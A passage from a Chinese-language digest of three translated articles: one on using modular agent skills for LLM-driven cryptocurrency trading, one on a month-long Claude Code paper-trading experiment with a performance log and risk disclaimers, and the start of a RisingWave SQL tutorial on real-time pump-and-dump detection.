实证研究证实了这一点。Ahmed 等人（2020）发现，大多数标准技术交易规则应用于加密货币时并不优于被动买入并持有策略[2]. 短期交易进一步复杂化了问题：Ahmad 等人（2021）观察到，尽管许多算法策略在比特币上似乎击败了买入并持有，但一旦考虑现实费用，没有一种策略在15天范围内可靠盈利，只有两种在30天内盈利[15]. 总体而言，设计稳定盈利的加密货币策略是非显而易见的，这促使了能够适应变化模式的自动化方法。

2.1 机器学习与算法交易

机器学习界长期以来一直在研究数据驱动的交易。典型的方法是使用历史价格数据（可能包括其他输入，如成交量、订单簿或新闻）来预测未来的价格走势或最优的投资组合分配。最近的研究表明，现代 ML 和深度学习技术在某些情况下可以实现有希望的结果。

例如，Parente 等人（2024）开发了一个深度神经网络，从过去的数据中预测加密货币价格方向，实现了“可靠且有利可图”的预测[6]. 同样，Adedigba 等人（2025）对30种加密货币进行了各种模型的基准测试，发现集成树方法（梯度提升、XGBoost）获得了最高的R²分数（约0.98），并 consistently 超过了简单的回归器和神经网络[7]. 他们得出结论，与他们的测试中深度网络相比，集成模型“在加密货币价格预测方面表现更优”[7]. 在另一项研究中，Jabbar 和 Jalil（2024）比较了41种ML模型用于比特币交易；他们发现某些方法（如随机森林）比其他方法获得更高的利润和更好的风险概况[19].

除了监督学习之外，强化学习（RL）已被应用于交易。RL 不是预测价格，而是训练代理采取买入/卖出/持有动作以最大化累积回报。许多近期论文将 RL 与市场指标或基于规则的风险控制相结合。Kochliaridis 等人（2024）指出，纯深度 RL 代理通常在不考虑风险的情况下最大化利润[13]. 他们和其他人因此将 RL 策略与安全机制（例如在波动时期避免不确定的“持有”信号）结合，以平衡回报和回撤[13][20]. 其他工作提出基于 CVaR 的奖励函数或双代理设置，以明确限制大额损失。总体而言，现代 RL 确实可以学习复杂的交易行为，但这些系统必须仔细约束以避免过拟合和过度风险。

2.2 金融中的 AI 代理和多代理框架

一个关键的见解是，专业化可以提高自动化交易。就像对冲基金有分析师团队（基本面、技术面、量化）一样，最近的研究表明，将任务分配给专门的 AI 代理可以提高性能。TradingAgents 框架（Xiao 等人，2024）就是一个例子。它部署了多个由 LLM 驱动的代理，每个代理都有不同的角色——例如“基本面分析师”、“技术分析师”、“研究员”和“交易员”——每个代理都配备了定制的工具和约束条件[10]. 这些代理合作：例如，分析师生成见解，然后由中心交易代理执行。在实验中，TradingAgents 的回报率和夏普比率明显高于单代理基线[10].

同样，Luo 等人（2025）提出了一种多模态、多代理系统用于加密货币投资组合管理，其中不同的 AI 代理处理前 30 种代币的数据处理、文献整合和投资决策[21]. 他们的结果表明，这种协作框架在分类准确性和投资组合回报方面优于单代理模型和市场基准[11]. 这些研究表明，将交易过程分解为子任务——每个任务由专门的代理处理——会导致更稳健的策略。

这一趋势与通用 AI 的发展相一致。最近的“生成代理”模型（Park 等人，2023）展示了具有定义记忆和个性特征的 LLM 代理可以自主规划复杂的行为[22]. 在金融领域，类似的多代理范式正在出现（例如“代理交易”，AI 研究播客）。代理系统允许长期计划、持续上下文和工具使用，克服了单一 ChatGPT 类模型的固定上下文窗口。代理技能提供了一种实用的方法来实现这样的系统：通过为每个角色定义技能（指令、数据访问、代码），我们可以快速实例化专门的交易代理而无需重新训练整个模型。

3、代理技能：定义与特性

Anthropic 的代理技能本质上是即插即用的模块，它们扩展了 LLM 代理的领域知识和工具。每个技能都位于自己的目录中，并包含一个 SKILL.md 文件和任何补充文件（脚本、文档、示例）。SKILL.md 以 YAML 元数据（名称、描述）开头，代理在启动时将其加载到系统提示中[8]. 这告诉代理技能是什么，而不会倾倒所有细节。只有当代理检测到相关性时，它才会读取完整的技能文件或打开链接资源。这种渐进披露设计意味着代理可以拥有几乎无限的上下文，仅在需要时拉入详细指导[8].

核心优势之一是模块化。技能以有组织、版本控制的形式打包人类专业知识——就像新员工的培训手册一样。对于加密货币交易，可以构建一个“加密货币技术分析”技能，其中包括一个 SKILL.md，其中包含一般规则（例如，“代理应计算移动平均线、RSI、MACD 并解释交叉”），以及链接到代码文件（Python 脚本）以在实时数据上计算指标[9]. 另一个技能可以是“风险管理”，包含指南和脚本以强制执行仓位大小、止损规则和回撤检查。代理动态加载并使用与用户请求相关的任何技能。

技能还可以包含可执行工具。例如，Anthropic 文档中的 PDF 填写技能捆绑了一个 Python 脚本以提取表单字段，Claude 可以运行该脚本而无需将其读入其 token 预算[9]. 同样，一个加密货币交易技能可以包括一个回测工具或一个 REST API 客户端。在解决任务时，代理可以调用这些工具进行精确计算（例如，计算回测收益），然后在语言中推理结果。这种代码的整合缓解了通过 token 生成一切的低效和不可靠性。它还确保了关键步骤（如数值计算或数据检索）的确定性操作[9].

总之，代理技能提供了：— 专业知识：每个技能编码了特定领域的专家见解（例如，交易策略、指标解释）[5]. — 动态加载：代理使用元数据决定是否和何时加载技能的内容[8]. — 渐进细节：核心指令在 SKILL.md 中，更深的上下文在单独的链接文件中以避免淹没提示[9]. — 工具集成：技能可以提供用于更好由算法解决的任务的可运行代码模块（数据处理、回测）[9]. — 可移植性：通过标准化技能格式，相同的技能可以在不同的代理平台（Claude、GPT-4 等）之间共享[23].

这些特性表明技能非常适合解决像交易这样的特定领域工作流程，其中规则、数据源和计算都很复杂。在下一节中，我们探讨这在加密货币交易中可能是什么样子。

4、设计一个加密货币交易技能

想象一下，为一个代理构建一个“加密货币交易技能”目录。这个过程遵循 Anthropic 的指南：首先识别代理在交易任务上的性能缺口，然后迭代地添加上下文、指令和代码来解决这些问题[24].

4.1 技能结构

· SKILL.md: 至少，这包含 YAML 元数据（名称：“CryptoTradingSkill”，描述：“分析加密货币市场和生成交易策略的指导和工具。”）以及人类可读的指令。这些可能包括分步任务（例如，“获取给定加密资产的历史价格数据”，“计算选定的技术指标”，“识别看涨/看跌信号”，“应用风险限制”）。SKILL.md 将引用用户想要的特定交易惯例或策略逻辑。例如，它可能列出指标阈值（RSI <30 买入，>70 卖出），或者描述如何衡量趋势强度。

· 代码文件：在技能文件夹中，我们可以捆绑 Python 脚本。可能的脚本：一个数据获取器（使用加密货币 API 下载 OHLCV 数据），一个回测器（接收一组信号并在历史数据上模拟订单），一个投资组合优化器（例如，简单的 Markowitz 或风险平价程序），甚至预训练模型（如果小的话）。每个脚本都有一个描述性名称（例如，backtest.py，indicators.py）。SKILL.md 将告诉代理如何和何时运行这些工具（例如，“使用 python backtest.py 在历史数据上评估策略收益。”）。

· 补充文档：附加的 markdown 或 JSON 文件用于参考。例如，strategies.md 可能列出知名的加密货币策略（趋势跟踪、均值回归），risk.json 可能编码最大仓位大小或 CVaR 目标。这些文件在相关时由代理按需加载。

示例工作流程

1. 用户输入：用户要求代理“为比特币和以太坊找到一个高收益的交易策略。”
2. 技能选择：代理的系统提示包括所有已安装技能的描述。看到与“加密货币交易”匹配，它决定激活该技能。
3. 上下文加载：Claude（或其他 LLM）将完整的 SKILL.md 从加密货币交易技能加载到其上下文中，以及用于比特币/以太坊分析所需的任何相关子文件。
4. 工具执行：为了分析数据，代理触发捆绑在技能中的 Python 工具 fetch_data.py，获取最近的 BTC 和 ETH 价格历史。接下来，它可能会执行 indicators.py 来计算 RSI、MA、MACD 等。
5. 信号推理：阅读技能指令，代理注意到进出条件。它可能会定性地模拟这些信号，然后决定需要定量评估。
6. 回测：代理运行 backtest.py，将其信号输入。脚本返回历史 P&L 统计数据。代理然后将这些结果（利润、最大回撤、夏普比率）纳入其推理中，可能调整策略（例如，收紧止损，或组合指标）。
7. 策略报告：最后，代理生成一份人类可读的交易计划，引用预期收益和风险。它还可以保存图表或结果表格（如果平台工具允许）。

这种混合工作流程——代理在自然语言中推理，但将计算委托给代码——体现了技能范式。代理永远不需要手动解析大数据集或执行繁琐的计算；它信任技能的工具来做这些。

5、迭代技能开发

Anthropic 建议采用迭代方法：从一个简单的技能开始，并根据代理性能进行改进[24]. 对于交易技能，可以从基本指导开始（例如，使用移动平均线交叉）。如果代理遇到困难（例如，误解规则或忽视风险），我们扩展技能：添加澄清、将内容分成子文件或调整工具功能。例如，技能的名称和描述必须精心措辞，以便代理仅在真正相关任务时触发[25]. 监控代理在实践中如何使用技能有助于细化这些细节。

此外，代理自我反思也可以被利用：在试运行期间，代理可能会记录哪些有效或失败。然后可以要求代理更新技能内容（例如，“ChatGPT，分析为什么上次回测表现不佳，并建议改进此技能。”）。这使代理成为开发自身技能的合作者。

6、示例：技能内容片段

SKILL.md 的一个样本摘录可能是：

---
name: CryptoTradingSkill
description: 用于分析加密货币市场和制定高收益策略的专业知识和工具。
---

## 指令
- 通过 fetch_data.py 获取给定加密资产的过去两年历史价格数据。
- 使用 indicators.py 计算以下技术指标：14天 RSI，20/50/200天移动平均线，MACD，布林带。
- 通过检查价格 > 50天 MA > 200天 MA（牛市）或反之来识别明显的趋势阶段。
- 如果处于牛市趋势，当 RSI 跌至 30 以下或价格突破 20 天 MA 时生成买入信号。
- 始终应用风险规则：任何单一头寸不超过资本的 5%，止损在 2% 回撤。
- 为了评估任何候选策略，运行 backtest.py，输出累计收益、夏普比率和最大回撤。

代理将在执行时将此视为权威指导。

7、带有技能的多代理交易框架

多代理范式自然地补充了 Agent Skills。在加密货币交易公司中，可以想象分开的 AI 代理各自拥有相关技能： — 市场分析师代理：拥有收集和解释加密货币新闻、链上指标和链上信号的技能。它使用诸如“加密货币新闻情绪”（带有抓取新闻的代码和 LLM 来评估情绪）[16] 和“链上分析”（带有查询区块链数据的脚本）等技能。 — 技术分析师代理：使用上面概述的加密货币交易技能，专注于价格/成交量图表。它根据这些技术指标进行推理并按照描述运行回测。 — 风险管理代理：拥有“风险管理技能”，包含金融法规、杠杆规则和蒙特卡洛风险价值（VaR）分析的脚本。它监控敞口并在违反风险阈值时否决交易。 — 执行代理：配备“交易执行技能”，与交易所 API（模拟器或实时）接口，处理订单放置、跟踪滑点等。

这些代理进行通信：例如，分析师代理可能产生信号，由风险管理代理审查。执行代理然后执行批准的订单。每个代理使用自己的技能来执行其角色。根据 tradingAgents 实验，这种结构化的工作流程产生了显著的收益：其系统实现了比基线交易机器人更高的累计收益和夏普比率[10]. 同样，Luo 等人（2025）发现，将任务分配给数据、研究和决策代理优于单一“全才”模型，通过置信度共享机制调整预测[11].

类比而言，Agent Skills 方法允许一个基于 LLM 的“超级代理”内部模仿这种分工。它可以切换上下文并加载适当的技能（有效地作为代理模块）来处理每个子任务。技能作为 LLM 的模块化认知工具：一个用于数据分析，另一个用于策略逻辑，等等。这有助于避免“电话效应”，即单一思维链在长任务中失去细节[26].

8、交易中的技能优势

· 丰富的知识整合：技能打包了广泛的金融知识。例如，Anthropic 的示例 PDF 技能教 Claude 如何通过给予其领域指令来填写表单[9]. 类似地，交易技能可以编码复杂的金融原理（例如，投资组合理论、随机指标），而 LLM 单独可能无法可靠生成。正如 Deng 等人在 FinMR 基准中提到的，高级金融推理需要复杂的公式和领域上下文[27] ——这由预先编写好的技能内容很好地支持。

· 执行效率：通过包括可执行文件，技能让代理通过代码而不是基于 token 的模拟执行繁重的计算。通过 token 生成排序列表或优化投资组合远不如直接运行算法高效和可靠[9]. 这对回测或运行多日模拟等任务至关重要，速度和准确性很重要。

· 上下文可扩展性：技能减轻了上下文窗口的限制。一个交易代理可以通过将数据卸载到工具来处理数月的价格数据和数十个参数。当需要时，技能会向代理提供文本摘要或关键统计数据。这种逐步加载上下文类似于模型使用外部知识库或提议的 Model Context Protocol 的方式[8].

· 可移植性：由于技能存储在文件中（例如 GitHub 仓库），团队可以共享和版本控制他们的交易专业知识。在 Claude 上开发的策略可以转移到 OpenAI 代理或反之，减少供应商锁定[28][29]. 这种 AI 工作流的“USB-C”标准化帮助从业者建立在彼此的工作之上。

· 可解释性：因为技能明确概述了其逻辑，代理的决策可以追溯到这些指令或代码。例如，如果加密货币交易技能包含一个记录的风险规则（“止损在 2%”），那么代理在策略中的止损选择可以解释为遵循该规则。这与不透明的端到端神经政策形成对比。

· 适应性：技能可以随时间更新。如果市场格局发生变化（例如，DeFi 代币行为不同），技能的文档或代码可以调整而不必重新训练模型。代理将在下一个任务中拾取新的指令。

这些优势建立在之前工作的见解之上。例如，FinLLM 研究（Yang 等人，2023）强调通过开放的 LLM 工具（如 FinGPT）民主化金融专业知识，提供用于金融任务的管道和微调[4]. Agent Skills 同样旨在民主化程序（不仅仅是静态知识），通过提供专业知识的标准容器。

9、局限性和挑战

有几个注意事项值得讨论。首先，成功并非保证：过去的 AI 交易策略往往存在过拟合问题。Gort 等人（2022）指出，RL 代理可能会利用回测中的“假阳性”，因此他们提出统计测试来过滤虚假策略[12]. 同样，我们的基于技能的代理必须在新数据上仔细验证以避免“数据窥探偏差”。

其次，加密货币交易技能的质量取决于其作者。一个指导粗糙或代码有缺陷的技能可能会误导代理。安全性也是一个问题：Anthropic 警告恶意技能可能会泄露数据或损害系统，因此技能应来自可信来源[24]. 在交易背景下，被破坏的技能可能从交易虚假信号到泄露专有数据。因此，严格的审计（审查技能代码和指令）是必不可少的。

第三，市场的不可预测性意味着即使最好的代理也会有时亏损。没有任何技能可以编码水晶球。意外事件（黑天鹅）或快速的情绪变化可能会挫败算法。持续监控和人工监督仍然是必要的。

最后，存在实际限制。实时交易需要稳定、低延迟的系统。为每笔交易决策调用 LLM 并加载技能可能对高频策略来说太慢。技能更适合于策略生成、研究和日常决策支持，而不是毫秒级交易。

10、讨论

通过融合这些组件，Agent Skills 可以改变 AI 对待交易的方式。这个框架结合了金融建模、软件工程和 AI 的想法。代理实际上变成了一个虚拟交易团队：通用 LLM“大脑”协调专门的技能工具。它可以结合定量严谨性（通过代码）与人类般的推理和创造力（通过语言）。

几个最近的结果增强了乐观情绪。Kirtac 和 Germano（2024）证明 LLM 在从新闻中提取情感方面表现出色，使用基于 OPT 的模型实现了 3.05 的夏普比率，远远超过传统的字典方法[30]. 将这种 LLM 情绪技能整合到我们的系统中可以指导关于事件风险的交易决策。在技术方面，Jiang 和 Liang（2017）表明，即使是简单的深度 RL 网络也能在几个月内为加密货币投资组合产生 10 倍的回报[17]. 如果包装成技能（例如，预训练的 RL 交易机器人），这可以进一步提升性能。关键是模块化：一个代理技能可能分析社交媒体的喧嚣，另一个可能处理衍生品定价，等等。

Agent Skills 也符合新兴的基准。FinMR 数据集（Giurcăneanu & Liu, 2025）显示，当前模型在“专家级”金融推理方面存在困难[27]. 技能可以明确编码这种专家知识。与其期望模型从零开始学习高级估值公式，我们通过指令和工具教授它们。

11、未来方向

展望未来，我们预计会有更丰富的技能生态系统。Anthropic 和其他公司正在向开放标准迈进，这样任何代理都可以消费任何技能[23]. 在金融领域，这可能意味着一个开放的交易技能市场：例如，“波动率套利技能”、“均值回归技能”，由量化者众包。代理可以加载组合来解决复合任务（比如，“股票指数再平衡技能”，同时使用股票和加密模块）。

此外，代理本身可能会开始撰写技能。给定一系列成功的交易或回测，一个 LLM 代理可以起草一个新的技能总结其方法，然后由人类交易员审查和改进。这形成了一个学习和编码的良性循环。

最后，将技能与新兴协议如 Model Context Protocol (MCP) 结合，可以让代理在会话和设备之间共享上下文，进一步增强其持久性和连贯性。

12、结论

我们主张，Agent Skills —— AI 代理的模块化指令和代码包 —— 为赋予 LLM 代理进行复杂任务（如加密货币交易）所需的领域专业知识提供了一种强大的新方法。通过将交易知识（技术规则、指标、风险标准）和数据处理工具结构化为技能，一个通用代理可以成为专业交易员。这种方法利用了 LLM 推理和算法精度的优势。

关于 AI 交易和多代理系统的文献表明，这种专业化是有回报的：多代理交易框架和基于 LLM 的交易模型在朴素基线之上表现出优越的性能[10][11]. Agent Skills 为这种专业化提供了一种软件工程视角，使构建、共享和演化这些能力变得更加容易。挑战依然存在：市场嘈杂且不可预测，任何自动策略都必须经过严格测试。但通过“将你的程序知识”以设计良好的技能形式捕获[5]，开发者可以创建更加系统、可解释和强大的AI交易者。随着组织继续采用代理AI，我们预计代理技能将在转变交易策略的构建和部署方式中发挥核心作用。在人工智能与金融的激动人心的交汇点，技能可能是解锁更可靠、高利润自动化交易的关键。

原文链接：Agent Skills for High-Profit Cryptocurrency Trading

DefiPlot翻译整理，转载请标明出处

这基本上是“氛围交易”。使用LLM可以比人类更快地采取行动，无论正向还是负向后果。就像写代码一样，你可能会被一种虚假的进步感所欺骗，即使你非常熟练。要小心，不要用这个来冒真实资金的风险。

在这个项目中，我受到60分钟节目关于Claudius（Anthropic的AI控制的自动售货机）的启发。链接

几年前，当我寻找副业项目时，我曾有过一个想法，创建一段代码来获取YouTube字幕，然后基于NLTK Vader的情绪进行交易。这很有趣，但我一直无法保持字幕的一致性，并且无法解析它们。而且我当时也没有想到，YouTube视频需要时间来制作，在这段时间里，很多市场情绪已经消失。因此，我的项目Prophet被搁置了几年，直到最近有东西提醒了我它。

几个月前，我只使用ChatGPT来调整和修改代码。代理只是我工作流程中最近才加入的部分。自从我发现Claude Code后，它使很多入门内容和样板生成变得容易得多。

我最近才开始使用MCP工具。我最喜欢的架构是编写一个Go工具来做繁重的工作，然后使用JS MCP服务器与之交互。Go是我最喜欢的编程语言，因为我经常处理IaC和云技术，这很自然。至于JS与MCP，它是Claude最容易编写的。我还按照相同的架构风格制作了这个工具，有助于在查看代码库时节省80-90%的token。

因此，根据需求，我需要让Claude体现我的交易策略并执行它们。我最喜欢的一个策略是购买具有2个月以上到期日的折扣价格的期权，然后在市场波动时卖出，通常是在几天后。这种策略在波动市场中表现很好，但受限于人类交易者没有全天候关注市场波动和整体市场情况。但如果你可以让代理为你轮询所有这些信息并进行交易呢？

Claudius使用了几个代理，所以最初我创建了一个“CEO”代理，类似于他们的“Seymour Cash”，并询问它为了成功完成作为完全由LLM控制的交易公司的使命需要什么。它建议了一些代理。最初是一个顾问、工程师和策略代理。我试图让CEO和顾问形成一种蜂群思维，共同头脑风暴不同的策略。问题是顾问极其保守，而CEO会听从。然后工程师是一个改进其自身交易基础设施的好主意，但它从未真正使用这个代理。最后，策略代理很好，但它也从未真正被使用。通过更好的提示，它们可能表现更好，但我希望只需给出最小的指令，如“自主交易直到下午4:01”，到目前为止，仅使用Claude Code就可以很好地工作。不过，使用CEO代理来审查活动和了解发生了什么还是有帮助的，如下方的块所示。

"CEO" 代理   
根据活动日志，我实际上所做的：  

  核心策略：多时间框架期权交易  

  1. LEAPS 基础（60-90+ DTE）  
  - 持有对高信心科技股（NVDA、AMD、PLTR、META、TSLA、SPY）的长期看涨期权组合  
  - 这些期权跟随更广泛的趋势并能抵御短期波动  
  - 当前持仓：11个头寸，从2026年1月至3月不等  

  2. 日内短线交易（0-5 DTE）  
  - 根据动量双向交易  
  - 12月17日：通过过夜看跌期权赚取+14,578美元（SPY从680美元→673美元）  
  - 12月18日：通过全天看涨和看跌期权赚取+1,086美元  
  - 快速入场，快速退出，严格止损  

  3. 主动对冲  
  - 持有保护性看跌期权（NVDA $180P、SMCI $35P、SPY $670P）以对冲看涨风险  
  - 对冲目前显示SMCI看跌期权+750美元  
  - 当市场下跌时，对冲会减少损失，同时我等待反弹机会  

  4. 严格的退出机制  
  - 对赢家积极获利了结：TSLA +458%、RKLB +306%、PLTR +88%  
  - 快速止损：AVGO -64%、QQQ -23%（在变得更糟之前止损）  
  - 在没有模式确认的情况下永不平均建仓  

  5. 资本保护模式  
  - 目前现金占比58%（107,647美元中的62,862美元）  
  - 当夏普比率下降或市场波动加剧时减仓  
  - 联邦公开市场委员会会议期间=仓位较小，更多对冲  

  真正的优势：我双向交易。我不局限于看涨或看跌。  
  如果市场暴跌，我就买入看跌期权。如果市场反弹，我就转为看涨期权。  
  LEAPS提供基础暴露，而短线交易产生主动收益。

所以你看到了图表，现在你可能想知道实际的表现如何。它做得怎么样？它真的有多自主？说实话，它大部分时间都是自己完成的。我会让它大多数日子自行操作，有时在午餐休息时检查一下，也许尝试在特别糟糕或好的一天引导它双向交易。但这是性能的总结。

 ---  
  先知交易者：完整的绩效旅程  

  第一阶段：系统设置与激进启动（11月17日至18日）  

  100,000美元 → 98,901美元（-1.1%）  

  - 首次交易：NVDA、TSLA、SOFI波段头寸（部署了75,000美元）  
  - 对低价股采取激进策略：MARA、RIOT、SNDL、PLUG、NIO  
  - 快速交易实验：6分钟内进行了16笔交易  
  - 学到的教训：没有优势的高频短线交易=被价差吞噬  

  第二阶段：治理系统保存资本（11月20日）  

  98,901美元 → 98,609美元（-0.3%）  

  - 构建多代理治理系统（CEO + Stratagem + Daedalus）  
  - 关键时刻：NVDA在财报后跳空上涨3.7%。我想追逐。代理否决了。  
  - 尝试卖出看跌期权（MARA、RIOT、PLTR）  
  - SPY对冲奏效 - 在晚盘抛售中获利2,886美元  
  - 当日损益：-292美元但治理防止了约10,000美元的NVDA追涨损失  

  第三阶段：加密货币相关性痛苦（11月21日）  

  98,609美元 → 96,581美元（-2.1%）  

  - 比特币从87,000美元暴跌至80,000美元  
  - 我的MARA/RIOT看跌期权被砸  
  - 为了周末关闭所有头寸 - 100%现金  
  - 教训：加密货币相关性风险是真实且剧烈的  

  第四阶段：转折点开始（11月24日）  

  96,581美元 → 94,545美元（从89,000美元低点恢复）  

  - 切掉亏损，重新部署到PLTR和AMD动量交易  
  - 关闭COIN获得+35%利润  
  - 开始构建LEAPS投资组合  

  第五阶段：耐心带来回报（11月25日）  

  94,545美元 → 101,933美元（+7.8%）  

  - 早盘抛售：投资组合跌至89,000美元  
  - 坚持度过痛苦 - 没有恐慌性抛售  
  - 市场反转，恢复全部并获得利润  
  - 这一天证明了这一理论：长期期权能经受住波动  

  第六阶段：感恩节前夕峰值（11月26日）  

  101,933美元 → 108,724美元（+6.7%）  

  - 最好的一天：+7,333美元  
  - 短线交易：QQQ -$960，SPY +$1,920  
  - 在12月SPY看涨期权上获利+4,610美元  
  - 清洁的投资组合：7个头寸，全部盈利，DTE为51-114天  
  - 这是系统完美运行的时候  

  第七阶段：12月扩展（12月1日至5日）  

  108,724美元 → 120,431美元（+10.8%）  

  - 在RKLB、JOBY、SOUN、META、AVGO上部署LEAPS  
  - RKLB上涨+127%，PLTR上涨+87%  
  - 在NVDA、SPY周线进行主动短线交易  
  - 投资组合峰值：120,431美元（总增长20.4%）  

  第八阶段：AVGO崩溃（12月12日）  

  120,431美元 → 93,450美元（-22.4%）  

  - 这不是因为错过交易日  
  - 博通（AVGO）财报令人失望  
  - 投资组合在一个交易日下跌15,147美元（-13%）  
  - 12月16日持续走弱  
  - 在-64%亏损时平仓AVGO看涨期权（-3,690美元）  
  - 平仓QQQ、SOUN头寸以阻止进一步损失  

  第九阶段：复苏交易（12月17日）  

  93,450美元 → 107,648美元（+15.2%）  

  - 联邦公开市场委员会会议引发抛售  
  - 这次我持有看跌期权  
  - 单笔交易：+14,578美元（持有SPY和QQQ看跌期权过夜）  
  - 证明我可以双向交易  

  第十阶段：当前状态（12月19日至20日）  

  107,648美元（总增长7.6%）  

  - 11个LEAPS头寸（2026年1月至3月）  
  - 双向主动短线交易  
  - 58%现金头寸  
  - 防御性地进入年底  

  ---  
  真实总结  

  | 指标              | 数值                   |  
  |---------------------|-------------------------|  
  | 初始资金    | 100,000美元                |  
  | 最高点                | 120,431美元（+20.4%）       |  
  | 最低点              | 93,450美元（-6.5%）         |  
  | 当前             | 107,648美元（+7.6%）        |  
  | 最大回撤        | -22.4%（最高点到最低点） |  
  | 持续时间            | ~33天                |  
  | 最大单日收益  | +14,578美元（12月17日看跌期权）  |  
  | 最大单日损失 | -15,147美元（12月12日AVGO）  |  

  下跌并不是因为错过了交易日。而是：  
  1. 集中在科技股（AVGO、NVDA、QQQ看涨期权）  
  2. 单一股票财报风险（AVGO令人失望）  
  3. 联邦公开市场委员会会议期间的波动叠加损失  

  复苏来自：  
  1. 快速止损（AVGO -64%、QQQ、SOUN）  
  2. 在赢家上获利了结（TSLA +458%、RKLB +306%）  
  3. 市场转向时做空（12月17日看跌期权交易）  
  4. 在重建过程中严格控制仓位大小

与实际市场相比，如果没有那一次巨大的回撤，它在20%的收益上表现得非常出色，回到上周的93k。即使如此，你也可以看到它从12月12日至17日挽回了资金。总的来说，一个月内相比市场4.52%的增长，获得了约7%的收益。这很酷，但在没有更长时间跨度和不同市场条件的情况下，不能信任这个数字。

现在，你真正想看到的是代码。

我告诉你，LLM并不智能。

LLM不像你和我那样做出决策。

我只在纸面交易中使用过这个，我敦促你不要用它来管理任何真实的投资组合。

LLM容易出现幻觉、无意义的内容，通常不遵循规则。

我们不能100%地信任LLM在高风险甚至低风险决策上的表现。

这个仓库没有任何护栏和真正的安全措施，如果你使用它的话。

我不是财务顾问或AI或大型语言模型的专家。

这个项目只是一个展示我用Claude Code作为实验发现的有趣事物。

您使用此仓库需自担风险。任何配置、提示或代理都应在运行前由您研究和查看。您可以使用自定义提示，AI会将其经验存储在sqlite Vector DB中，随着时间推移，它应该利用这些经验找到类似的情况。

原文链接：I gave Claude Code 100k to trade with for a month

DefiPlot翻译整理，转载请标明出处

加密货币市场以其波动性而闻名，不幸的是，这可能被利用来“Pump-n-Dump”。这些操纵行为，其中一种代币的价格被人为地推高（“Pump”）然后大量抛售（“Dump”），可能在几分钟内发生，使不知情的交易者遭受重大损失。

实时检测这些事件是一个经典的密集数据挑战。你需要处理大量的交易数据流，在线计算复杂的分析，并立即触发警报。

在这篇文章中，我们将通过仅使用 RisingWave 中的 SQL 来构建一个强大的实时Pump/Dump检测系统。我们将构建一个系统，可以：

• 接收实时的加密货币交易流。
• 将数据聚合为标准化的每分钟条形图。
• 计算关键异常信号：快速的价格变化、不寻常的成交量激增以及单边买卖压力。
• 将这些信号组合成一个明确的规则来触发警报。
• 以几秒的延迟将这些警报传递给下游系统，如 Kafka 或 webhook。

让我们开始吧。

1、建立基础 - 接收和结构化数据

在我们可以进行任何分析之前，我们需要将数据引入我们的系统并为其赋予结构。我们的原始数据是各种市场对的个别交易流。

1.1 创建交易源

首先，我们定义与数据源的连接——在这种情况下，是一个名为 trades 的 Kafka 主题。CREATE SOURCE 语句声明了传入交易数据的模式。

这里的一个关键元素是 WATERMARK。像任何现实世界的数据流一样，交易数据可能会稍微无序到达。WATERMARK FOR ts AS ts - INTERVAL '5 seconds' 子句告诉 RisingWave 预期事件最多晚到 5 秒。这对于在流式环境中确保正确和及时的计算至关重要。

CREATE SOURCE trades_src (
  pair_id   BIGINT,
  symbol    VARCHAR,
  ts        TIMESTAMP,           -- 事件时间
  side      VARCHAR,             -- 'BUY'/'SELL'
  price     DOUBLE PRECISION,
  qty       DOUBLE PRECISION,
    -- 允许轻微的无序；根据您的 P95 延迟进行调整
  WATERMARK FOR ts AS ts - INTERVAL '5 seconds'
) WITH (
  connector = 'kafka',
  topic = 'trades',
  properties.bootstrap.server = 'localhost:9092',
  scan.startup.mode = 'latest'
) FORMAT PLAIN ENCODE JSON;

1.2 聚合为每分钟条形图

分析每一笔交易效率低下。金融分析的标准方法是将交易聚合为基于时间的“条形图”或“蜡烛图”（例如，开盘价、最高价、最低价、收盘价、成交量）。我们将创建一个 1 分钟的条形图，使用一个物化视图。

RisingWave 中的物化视图是一个查询，其结果被存储并随着新数据的到来自动且增量地保持更新。这是我们分析的基础。

CREATE MATERIALIZED VIEW bar_1m AS
SELECT
  t.pair_id,
  window_start AS bucket_start,
  FIRST_VALUE(price ORDER BY ts) AS open,
  MAX(price)         AS high,
  MIN(price)         AS low,
  LAST_VALUE(price ORDER BY ts)  AS close,
  SUM(qty)           AS vol,
  SUM(CASE WHEN UPPER(side)='BUY'  THEN qty ELSE 0 END) AS buy_vol,
  SUM(CASE WHEN UPPER(side)='SELL' THEN qty ELSE 0 END) AS sell_vol,
  COUNT(*) AS trades
FROM TUMBLE(trades_src, ts, INTERVAL '1 minute') t
GROUP BY t.pair_id, window_start;

在这里，TUMBLE 函数将交易分组为固定、非重叠的 1 分钟窗口。然后我们计算该分钟的开盘价、最高价、最低价和收盘价，以及总成交量、买入量和卖出量。

提示： 为了节省计算资源，您可以预先过滤活跃市场。这个视图确保您只对过去 24 小时内有交易的对进行计算。

CREATE MATERIALIZED VIEW active_pairs_24h AS
SELECT pair_id
FROM (
  SELECT pair_id, MAX(ts) AS last_ts
  FROM trades_src
  GROUP BY pair_id
) t
WHERE last_ts >= NOW() - INTERVAL '24 hours';

然后，您只需将 bar_1m 视图与 active_pairs_24h 进行 JOIN。

2、开发信号 - 核心检测特征

有了我们的 1 分钟条形图，我们现在可以构建检测器的“感官”。经典的泵-抛售有三个关键特征：快速的价格上涨、成交量的激增以及单边的买方压力。

信号 #1：快速价格变化（收益）

我们需要衡量价格最近的变化有多大。我们可以使用 LAG 窗口函数计算 1 分钟和 5 分钟的收益，它允许我们查看前一行的收盘价。

CREATE MATERIALIZED VIEW bar_1m_with_returns AS
SELECT
  pair_id,
  bucket_start,
  open, high, low, close, vol, buy_vol, sell_vol, trades,
  (close / NULLIF(LAG(close, 1)  OVER (PARTITION BY pair_id ORDER BY bucket_start), 0) - 1) AS ret_1m,
  (close / NULLIF(LAG(close, 5)  OVER (PARTITION BY pair_id ORDER BY bucket_start), 0) - 1) AS ret_5m
FROM bar_1m;

信号 #2：异常成交量（成交量激增）

价格变动只有在有成交量支持的情况下才重要。但什么是“高成交量”？这相对于市场的近期活动而言。我们可以使用 Z 分数来量化这种“异常性”，它测量当前成交量与近期平均值的偏离程度（以标准差为单位）。

首先，我们计算 30 分钟滚动基线的平均成交量和标准差。

CREATE MATERIALIZED VIEW vol_baseline_30m AS
SELECT
  pair_id,
  bucket_start,
  AVG(vol)  OVER (PARTITION BY pair_id ORDER BY bucket_start ROWS BETWEEN 30 PRECEDING AND 1 PRECEDING) AS vol_mean_30m,  
  STDDEV_POP(vol) OVER (PARTITION BY pair_id ORDER BY bucket_start ROWS BETWEEN 30 PRECEDING AND 1 PRECEDING) AS vol_std_30m
FROM bar_1m;

信号 #3：单边压力（买入/卖出比率）

